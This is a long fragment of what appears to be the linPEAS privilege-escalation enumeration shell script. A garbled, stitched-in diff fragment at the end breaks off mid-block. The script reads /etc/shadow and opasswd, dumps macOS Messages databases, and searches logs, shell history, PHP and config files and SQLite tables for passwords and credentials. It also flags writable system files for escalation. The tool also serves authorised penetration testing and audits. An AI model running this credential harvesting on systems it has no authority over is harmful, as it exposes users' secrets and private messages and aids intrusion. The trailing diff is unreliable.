capname="$(echo $capVB | cut -d ':' -f 1)"
capbins="$(echo $capVB | cut -d ':' -f 2)"
if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then
echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW},"
capsVB_vuln="1"
break
fi
done
if ! [ "$capsVB_vuln" ]; then
echo "$cb" | sed -${E} "s,$capsB,${SED_RED},"
fi
if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then
echo "$cb is writable" | sed -${E} "s,.*,${SED_RED},"
fi
done
echo ""
##-- IF) Users with capabilities
if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then
print_2title "Users with capabilities"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities"
if [ -f "/etc/security/capability.conf" ]; then
grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
else echo_not_found "/etc/security/capability.conf"
fi
echo ""
fi
##-- IF) Files with ACLs
print_2title "Files with ACLs (limited to 50)"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#acls"
( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow)
ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
fi
echo ""
##-- IF) Files with ResourceFork
#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER
# print_2title "Files with ResourceFork"
# print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads"
# find $HOMESEARCH -type f -exec ls -ld {} \; 2>/dev/null | grep -E ' [x\-]@ ' | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
#fi
#echo ""
##-- IF) .sh files in PATH
print_2title ".sh files in path"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path"
echo $PATH | tr ":" "\n" | while read d; do
for f in $(find "$d" -name "*.sh" 2>/dev/null); do
if ! [ "$IAMROOT" ] && [ -O "$f" ]; then
echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits)
echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},";
fi
done
done
echo ""
broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken)
if [ "$broken_links" ] || [ "$DEBUG" ]; then
print_2title "Broken links in path"
echo $PATH | tr ":" "\n" | while read d; do
find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},";
done
echo ""
fi
if [ "$MACPEAS" ]; then
print_2title "Unsigned Applications"
macosNotSigned /System/Applications
fi
##-- IF) Unexpected in /opt
if [ "$(ls /opt 2>/dev/null)" ]; then
print_2title "Unexpected in /opt (usually empty)"
ls -la /opt
echo ""
fi
##-- IF) Unexpected folders in /
print_2title "Unexpected in root"
if [ "$MACPEAS" ]; then
(find / -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
else
(find / -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
fi
echo ""
##-- IF) Files (scripts) in /etc/profile.d/
print_2title "Files (scripts) in /etc/profile.d/"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#profiles-files"
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
(ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/"
check_critial_root_path "/etc/profile"
check_critial_root_path "/etc/profile.d/"
fi
echo ""
##-- IF) Files (scripts) in /etc/init.d/
print_2title "Permissions in init, init.d, systemd, and rc.d"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#init-init-d-systemd-and-rc-d"
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
check_critial_root_path "/etc/init/"
check_critial_root_path "/etc/init.d/"
check_critial_root_path "/etc/rc.d/init.d"
check_critial_root_path "/usr/local/etc/rc.d"
check_critial_root_path "/etc/rc.d"
check_critial_root_path "/etc/systemd/"
check_critial_root_path "/lib/systemd/"
fi
echo ""
##-- IF) Hashes in passwd file
print_list "Hashes inside passwd file? ........... "
if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
##-- IF) Writable in passwd file
print_list "Writable passwd file? ................ "
if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else echo_no
fi
##-- IF) Credentials in fstab
print_list "Credentials in fstab/mtab? ........... "
if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
##-- IF) Read shadow files
print_list "Can I read shadow files? ............. "
if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
print_list "Can I read shadow plists? ............ "
possible_check=""
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
print_list "Can I write shadow plists? ........... "
possible_check=""
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
##-- IF) Read opasswd file
print_list "Can I read opasswd file? ............. "
if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo ""
else echo_no
fi
##-- IF) network-scripts
print_list "Can I write in network-scripts? ...... "
if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else echo_no
fi
##-- IF) Read root dir
print_list "Can I read root folder? .............. "
(ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no
echo ""
##-- IF) Root files in home dirs
print_2title "Searching root files in home dirs (limit 30)"
(find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_RED},") || echo_not_found
echo ""
##-- IF) Others files in my dirs
if ! [ "$IAMROOT" ]; then
print_2title "Searching folders owned by me containing others files on it (limit 100)"
(find / -type d -user "$USER" ! -path "/proc/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec dirname {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g"
echo ""
fi
##-- IF) Readable files belonging to root and not world readable
if ! [ "$IAMROOT" ]; then
print_2title "Readable files belonging to root and readable by me but not world readable"
(find / -type f -user root ! -perm -o=r 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found
echo ""
fi
##-- IF) Modified interesting files into specific folders in the last 5mins
print_2title "Modified interesting files in the last 5mins (limit 100)"
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED},"
echo ""
##-- IF) Writable log files
print_2title "Writable log files (logrotten) (limit 100)"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation"
logrotate --version 2>/dev/null || echo_not_found "logrotate"
lastWlogFolder="ImPOsSiBleeElastWlogFolder"
logfind=$(find / -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 100)
printf "%s\n" "$logfind" | while read log; do
if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found
if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC;
elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case
elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log";
elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g";
fi
fi
done
echo ""
##-- IF) Files inside my home
print_2title "Files inside $HOME (limit 20)"
(ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found
echo ""
##-- IF) Files inside /home
print_2title "Files inside others home (limit 20)"
(find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found
echo ""
##-- IF) Mail applications
print_2title "Searching installed mail applications"
ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps"
echo ""
##-- IF) Mails
print_2title "Mails (limit 50)"
(find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g" | sed "s,root,${SED_GREEN},g") || echo_not_found
echo ""
##-- IF) Backup folders
print_2title "Backup folders"
printf "%s\n" "$backup_folders" | while read b ; do
ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g";
ls -l "$b" 2>/dev/null && echo ""
done
echo ""
##-- IF) Backup files
print_2title "Backup files (limited 100)"
backs=$(find / -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null)
printf "%s\n" "$backs" | head -n 100 | while read b ; do
if [ -r "$b" ]; then
ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g";
fi;
done
echo ""
##-- IF) DB files
if [ "$MACPEAS" ]; then
print_2title "Reading messages database"
sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null
fi
print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)"
FILECMD="$(command -v file 2>/dev/null)"
if [ "$PSTORAGE_DATABASE" ]; then
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
if [ "$FILECMD" ]; then
echo "Found: $(file $f)" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
else
echo "Found: $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
fi
done
SQLITEPYTHON=""
echo ""
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then #If readable and filecmd and sqlite, or readable and not filecmd
if [ "$(command -v sqlite3 2>/dev/null)" ]; then
tables=$(sqlite3 $f ".tables" 2>/dev/null)
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
elif [ "$(command -v python 2>/dev/null)" ] || [ "$(command -v python3 2>/dev/null)" ]; then
SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null)
tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null)
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
else
tables=""
fi
if [ "$tables" ] || [ "$DEBUG" ]; then
printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC
printf "%s\n" "$tables" | while read t; do
columns=""
# Search for credentials inside the table using sqlite3
if [ -z "$SQLITEPYTHON" ]; then
columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE")
# Search for credentials inside the table using python
else
columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null)
fi
#Check found columns for interesting fields
INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt")
if [ "$INTCOLUMN" ]; then
printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g"
printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g"
(sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head
fi
echo ""
done
fi
fi
done
fi
echo ""
if [ "$MACPEAS" ]; then
print_2title "Downloaded Files"
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|"
fi
##-- IF) Web files
print_2title "Web files?(output limit)"
ls -alhR /var/www/ 2>/dev/null | head
ls -alhR /srv/www/htdocs/ 2>/dev/null | head
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head
ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head
echo ""
##-- IF) All hidden files
print_2title "All hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)"
find / -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme" | head -n 70
echo ""
##-- IF) Readable files in /tmp, /var/tmp, bachups
print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)"
filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | head -n 70)
printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done
echo ""
##-- IF) Interesting writable files by ownership or all
if ! [ "$IAMROOT" ]; then
print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files"
#In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all
obmowbe=$(find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
printf "%s\n" "$obmowbe" | while read entry; do
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
elif echo "$entry" | grep -qE "$writeVB"; then
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
else
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
fi
done
echo ""
fi
##-- IF) Interesting writable files by group
if ! [ "$IAMROOT" ]; then
print_2title "Interesting GROUP writable files (not in Home) (max 500)"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files"
for g in $(groups); do
iwfbg=$(find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
if [ "$iwfbg" ] || [ "$DEBUG" ]; then
printf " Group $GREEN$g:\n$NC";
printf "%s\n" "$iwfbg" | while read entry; do
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
elif echo "$entry" | grep -Eq "$writeVB"; then
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
else
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
fi
done
fi
done
echo ""
fi
##-- IF) Passwords in history files
if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then
print_2title "Searching passwords in history files"
printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done
echo ""
fi
##-- IF) Passwords in config PHP files
if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then
print_2title "Searching passwords in config PHP files"
printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiI "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done
echo ""
fi
##-- IF) Passwords files in home
if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then
print_2title "Searching *password* or *credential* files in home (limit 70)"
(printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found
echo ""
fi
##-- IF) TTY passwords
print_2title "Checking for TTY (sudo/su) passwords in audit logs"
aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g"
find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g"
echo ""
##-- IF) IPs inside logs
if [ "$DEBUG" ]; then
print_2title "Searching IPs inside logs (limit 70)"
(find /var/log/ /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70
echo ""
fi
##-- IF) Passwords inside logs
print_2title "Searching passwords inside logs (limit 70)"
(find /var/log/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED},"
echo ""
if [ "$DEBUG" ]; then
##-- IF) Emails inside logs
print_2title "Searching emails inside logs (limit 70)"
(find /var/log/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g"
echo ""
fi
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
##-- IF) Find possible files with passwords
print_2title "Searching passwords inside key folders (limit 70) - only PHP files"
intpwdfiles=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ $backup_folders_row /tmp /etc /mnt /private -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null)
printf "%s\n" "$intpwdfiles" | grep -I ".php:" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g"
echo ""
print_2title "Searching passwords inside key folders (limit 70) - no PHP files"
printf "%s\n" "$intpwdfiles" | grep -vI ".php:" | grep -E "^/" | grep ":" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g"
echo ""
##-- IF) Find possible files with passwords
print_2title "Searching possible password variables inside key folders (limit 140)"
timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
wait
echo ""
##-- IF) Find possible conf files with passwords
print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)"
ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
printf "%s\n" "$ppicf" | while read f; do
if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' \"$f\" 2>/dev/null; then
echo "$ITALIC $f$NC"
grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g"
fi
done
echo ""
##-- IF) Find possible regexes
peass{REGEXES}
fi

View File

@@ -5,25 +5,29 @@
NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so" NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so"
#-- SI) Useful software #-- SI) Useful software
print_2title "Useful software" if ! [ "$SEARCH_IN_FOLDER" ]; then
for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done print_2title "Useful software"
echo "" for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done
echo ""
#-- SI) Search for compilers
print_2title "Installed Compilers"
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/");
echo ""
if [ "$(command -v pkg 2>/dev/null)" ]; then
print_2title "Vulnerable Packages"
pkg audit -F | sed -${E} "s,vulnerable,${SED_RED},g"
echo ""
fi fi
if [ "$(command -v brew 2>/dev/null)" ]; then #-- SI) Search for compilers
print_2title "Brew Installed Packages" if ! [ "$SEARCH_IN_FOLDER" ]; then
